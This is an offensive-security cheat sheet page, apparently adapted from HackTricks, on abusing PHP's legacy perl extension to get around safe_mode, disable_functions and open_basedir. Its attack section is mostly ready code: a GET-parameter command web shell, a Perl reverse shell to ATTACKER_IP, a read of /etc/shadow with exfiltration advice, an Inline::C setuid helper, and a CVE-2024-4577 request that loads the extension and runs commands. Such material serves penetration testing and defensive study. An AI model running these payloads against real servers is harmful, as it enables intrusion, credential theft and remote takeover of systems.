daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

disable-functions-bypass-php-perl-extension-safe-mode-bypass-exploit.md (8932B)


      1 ---
      2 title: "PHP Perl Extension Safemode Bypass Exploit"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # PHP Perl Extension Safe_mode Bypass Exploit
     14 
     15 ## Background
     16 
     17 The issue tracked as **CVE-2007-4596** comes from the legacy `perl` PHP extension, which embeds a Perl interpreter without enforcing PHP's `safe_mode` restrictions. Perl evaluation also operates outside controls such as PHP's `disable_functions` and `open_basedir`, so a loaded extension can expose command and filesystem primitives that PHP attempted to restrict. `safe_mode` disappeared in PHP 5.4; this technique is relevant primarily to old shared-hosting installations and deliberately vulnerable labs.<sup>[[1]](#references)[[2]](#references)</sup>
     18 
     19 ## Compatibility and Packaging Status
     20 
     21 - The last PECL release (`perl-1.0.1`, 2013) declares PHP 5.0 or newer, but the package is unmaintained and its source targets the PHP 5-era Zend API. PHP 7/8 generally require an unofficial port and an exact ABI build; the version string alone does not establish compatibility.<sup>[[2]](#references)</sup>
     22 - PECL is being superseded by PIE, but legacy stacks still ship PECL/PEAR.<sup>[[4]](#references)</sup> Treat the flow below as a PHP 5 lab recipe unless a target already contains a compatible extension.
     23 
     24 ## Building a Testable Environment in 2025
     25 
     26 - Fetch `perl-1.0.1` from PECL, compile it for the PHP branch you plan to attack, and load it globally (`php.ini`) or via `dl()` (if permitted).
     27 - Legacy Debian-based lab recipe (requires an archive or third-party repository that still provides PHP 5.6 packages):
     28   ```bash
     29   sudo apt install php5.6 php5.6-dev php-pear build-essential
     30   sudo pecl install perl-1.0.1
     31   echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
     32   sudo phpenmod perl && sudo systemctl restart apache2
     33   ```
     34 - During an authorized test, confirm availability with `var_dump(extension_loaded('perl'));` or `print_r(get_loaded_extensions());`. If absent, search for a correctly built `perl.so` and writable **system-level** PHP configuration. The `extension` directive is `php.ini`-only and cannot be set in `.user.ini`.<sup>[[8]](#references)</sup>
     35 - Because the interpreter lives inside the PHP worker, Perl code does not need `/usr/bin/perl` or PHP process-launching functions. Operating-system permissions, mandatory access controls, and network-egress filtering still apply.
     36 
     37 ### On-host build chain with shell and compiler access
     38 
     39 If `phpize`, a compiler toolchain, Perl development headers, and shell execution are available, you can build a matching `perl.so` on the host:
     40 
     41 ```bash
     42 # grab the tarball from PECL
     43 wget https://pecl.php.net/get/perl-1.0.1.tgz
     44 tar xvf perl-1.0.1.tgz && cd perl-1.0.1
     45 phpize
     46 ./configure --with-perl=/usr/bin/perl --with-php-config="$(command -v php-config)"
     47 make -j$(nproc)
     48 cp modules/perl.so /tmp/perl.so
     49 # loading requires a writable php.ini/scanned system INI or control of CGI arguments/service config
     50 ```
     51 The module must match PHP's API, architecture, thread-safety mode, and linked Perl ABI. `open_basedir` is not a substitute for controlling extension loading, but an attacker still needs a configuration or process-start primitive that accepts `extension=`. The compilation flow mirrors the PHP manual for building PECL extensions.<sup>[[3]](#references)[[8]](#references)</sup>
     52 
     53 ## Original PoC (NetJackal)
     54 
     55 The original NetJackal PoC remains useful for confirming that the legacy extension responds to `eval`:<sup>[[1]](#references)[[7]](#references)</sup>
     56 
     57 ```php
     58 <?php
     59 if(!extension_loaded('perl'))die('perl extension is not loaded');
     60 if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
     61 if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
     62 $perl=new perl();
     63 echo "<textarea rows='25' cols='75'>";
     64 $perl->eval("system('".$_GET['cmd']."')");
     65 echo "&lt;/textarea&gt;";
     66 $_GET['cmd']=htmlspecialchars($_GET['cmd']);
     67 echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
     68 ?>
     69 ```
     70 
     71 ## Modern Payload Enhancements
     72 
     73 ### 1. Reverse shell over TCP
     74 
     75 The embedded interpreter can load `IO::Socket` even if `/usr/bin/perl` is blocked. This provides a basic interactive shell over pipes, not a fully allocated terminal/PTY:<sup>[[2]](#references)</sup>
     76 
     77 ```php
     78 $perl = new perl();
     79 $payload = <<<'PL'
     80 use IO::Socket::INET;
     81 my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
     82 open STDIN,  '<&', $c;
     83 open STDOUT, '>&', $c;
     84 open STDERR, '>&', $c;
     85 exec('/bin/sh -i');
     86 PL;
     87 $perl->eval($payload);
     88 ```
     89 
     90 ### 2. File-System Escape Even with `open_basedir`
     91 
     92 Perl ignores PHP’s `open_basedir`, so you can read arbitrary files:
     93 
     94 ```php
     95 $perl = new perl();
     96 $perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');
     97 ```
     98 
     99 Pipe the output through `IO::Socket::INET` or `Net::HTTP` to exfiltrate data without touching PHP-managed descriptors.
    100 
    101 ### 3. Inline native helper compilation
    102 
    103 If `Inline::C`, a compiler, writable build directories, and headers exist, Perl can compile native helpers without PHP's `ffi` or `pcntl`. This does **not** inherently escalate privileges: `setuid(0)` succeeds only if the worker already has that privilege or a separate local privilege-escalation condition exists.
    104 
    105 ```php
    106 $perl = new perl();
    107 $perl->eval(<<<'PL'
    108 use Inline C => 'DATA';
    109 print escalate();
    110 __DATA__
    111 __C__
    112 char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
    113 PL
    114 );
    115 ```
    116 
    117 ### 4. Living-off-the-Land Enumeration
    118 
    119 Treat embedded Perl as a living-off-the-land interpreter. For example, DBI can enumerate data sources exposed by an installed MySQL driver even if PHP's `mysqli` extension is missing:
    120 
    121 ```php
    122 $perl = new perl();
    123 $perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');
    124 ```
    125 
    126 ## 2024+ Abuse: Loading `perl.so` via PHP-CGI Argument Injection (CVE-2024-4577)
    127 
    128 On vulnerable Windows installations that expose **PHP-CGI**, CVE-2024-4577 can convert a soft hyphen to a command-line hyphen under affected Windows best-fit locales, allowing injected `-d` options. If—and only if—the attacker already has an ABI-, architecture-, and thread-safety-compatible Windows Perl extension DLL, this can load it even when `dl()` is disabled and `php.ini` is read-only.<sup>[[5]](#references)</sup>
    129 
    130 * Build or upload a compatible Windows extension DLL (for example, `C:\xampp\htdocs\temp\php_perl.dll`). PECL does not provide a current drop-in DLL, making this prerequisite uncommon.
    131 * Send a single HTTP request that injects `-d extension=C:\\xampp\\htdocs\\temp\\perl.dll` and, in the same request body, a Perl-backed payload:
    132 
    133 ```http
    134 POST /?%ADd+extension=C:\\xampp\\htdocs\\temp\\php_perl.dll+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
    135 Host: victim
    136 Content-Type: application/x-www-form-urlencoded
    137 Content-Length: 120
    138 
    139 <?php $p=new perl(); $p->eval("system('whoami && hostname')"); ?>
    140 ```
    141 
    142 If the DLL loads, the PHP worker embeds Perl before evaluating the request body, exposing the same out-of-policy Perl primitives. The initial fix shipped in PHP 8.1.29/8.2.20/8.3.8, and a later bypass was addressed as CVE-2024-8926 in PHP 8.1.30/8.2.24/8.3.12; defenders should run a currently supported, fully updated PHP release rather than stopping at the first fixed version.<sup>[[6]](#references)[[9]](#references)</sup>
    143 
    144 ## References
    145 
    146 - [1] [NVD - CVE-2007-4596](https://nvd.nist.gov/vuln/detail/CVE-2007-4596)
    147 - [2] [PECL perl extension package information](https://pecl.php.net/package/perl)
    148 - [3] [PHP Manual: building PECL extensions with phpize](https://www.php.net/manual/en/install.pecl.phpize.php)
    149 - [4] [PECL homepage announcing PIE replacement](https://pecl.php.net/)
    150 - [5] [CVE-2024-4577 PHP-CGI argument injection PoC](https://github.com/AlperenY-cs/CVE-2024-4577)
    151 - [6] [Plesk advisory summarizing CVE-2024-4577 impact and patched versions](https://support.plesk.com/hc/en-us/articles/24020385443351-Security-Alert-CVE-2024-4577-PHP-CGI-Argument-Injection-Vulnerability)
    152 - [7] [Exploit-DB 4314 - PHP Perl Extension Safe Mode Bypass](https://www.exploit-db.com/exploits/4314)
    153 - [8] [PHP manual - core INI directives and `extension` changeability](https://www.php.net/manual/en/ini.core.php)
    154 - [9] [PHP 8 ChangeLog - CVE-2024-4577 and CVE-2024-8926 fixes](https://www.php.net/ChangeLog-8.php)